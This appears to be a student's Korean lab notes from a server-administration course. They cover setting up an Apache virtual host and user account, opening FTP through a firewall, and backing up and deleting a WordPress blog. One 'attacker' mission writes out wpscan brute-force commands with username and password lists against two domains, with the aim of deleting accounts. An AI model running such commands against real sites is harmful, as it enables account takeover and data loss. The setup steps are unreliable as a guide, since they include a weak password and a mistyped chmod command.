17일차 : php.st.kr 프로그래밍

미션 1
php 계정을 만들고 php.st.kr로 접속가능하도록 설정할 것
adduser php
123456
cd /home
ls
su php
chomd 711 $HOME > 환경변수 설정
chmod 755 public_html

cd apache2/sites-available
nano /etc/apache2/sites-available/hosting.conf
[VirtualHost *:80]
 DocumentRoot /home/php/public_html
 ServerName php.st.kr
 ServerAdmin php@php.st.kr
 ErrorLog /home/php/public_html/logs/error.log
 CustomLog /home/php/public_html/logs/access.log combined
[/VirtualHost]

systemctl restart apache2
ping
빈 화면 뜨면 사이트 접속 가능

미션2
관리자 PC 에서 editplus를 이용해서 php.st.kr로 접속
방화벽 nat 포트 21번 추가하기

미션3
외부 공격자(해커)
wpscan --url word.st.kr -U user.txt -P passwd.txt

외부 연결 후(NAT로 변경 후 aps.or.kr 공격)
wpscan --url aps.or.kr -U user.txt -P passwd.txt

 공격하여 아이디와 비밀번호를 삭제

미션4
저장되어 있는 블로그 삭제하기

그 전에 백업하기
mysqldump -u word -p word > word.sql
	

2025 산대특